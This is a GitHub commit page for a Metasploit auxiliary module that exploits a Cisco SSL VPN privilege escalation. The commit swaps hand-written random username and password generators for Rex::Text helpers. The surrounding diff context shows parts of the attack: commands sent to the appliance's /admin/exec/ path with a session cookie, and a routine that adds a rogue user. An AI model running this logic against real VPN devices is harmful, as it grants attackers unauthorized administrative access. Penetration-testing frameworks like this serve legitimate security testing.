Skip to content

Commit dc253ef

Browse files
committed
Use Rex::Text.rand_text*
1 parent f20afff commit dc253ef

File tree

1 file changed

+3
-15
lines changed

1 file changed

+3
-15
lines changed

modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb

Lines changed: 3 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def do_logout(cookie)
9696
end
9797

9898
def run_command(cmd, cookie)
99-
reformatted_cmd = cmd.split(" ").join("+")
99+
reformatted_cmd = cmd.gsub(/ /, "+")
100100

101101
res = send_request_cgi(
102102
'uri' => "/admin/exec/#{reformatted_cmd}",
@@ -126,8 +126,8 @@ def do_show_version(cookie, tries = 3)
126126
end
127127

128128
def add_user(cookie, tries = 3)
129-
username = random_username
130-
password = random_password
129+
username = Rex::Text.rand_text_alpha_lower(8)
130+
password = Rex::Text.rand_text_alphanumeric(20)
131131

132132
tries.times do |i|
133133
vprint_good("#{peer} - Attemping to add User: #{username}, Pass: #{password}")
@@ -148,18 +148,6 @@ def add_user(cookie, tries = 3)
148148
return nil
149149
end
150150

151-
# Generates a random password of arbitrary length
152-
def random_password(length = 20)
153-
char_array = [('a'..'z'), ('A'..'Z'), ('0'..'9')].map { |i| i.to_a }.flatten
154-
(0...length).map { char_array[rand(char_array.length)] }.join
155-
end
156-
157-
# Generates a random username of arbitrary length
158-
def random_username(length = 8)
159-
char_array = [('a'..'z')].map { |i| i.to_a }.flatten
160-
(0...length).map { char_array[rand(char_array.length)] }.join
161-
end
162-
163151
def do_login(user, pass, group)
164152
begin
165153
cookie = "webvpn=; " +

0 commit comments

Comments
 (0)